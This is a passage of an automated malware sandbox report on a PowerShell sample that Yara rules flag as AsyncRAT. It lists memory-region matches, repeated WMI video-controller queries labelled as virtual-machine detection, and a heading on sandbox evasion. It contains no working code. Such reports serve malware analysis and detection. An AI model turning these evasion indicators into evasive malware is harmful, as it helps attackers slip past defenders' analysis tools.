Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300dcdd88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080dcd9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce73e268.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

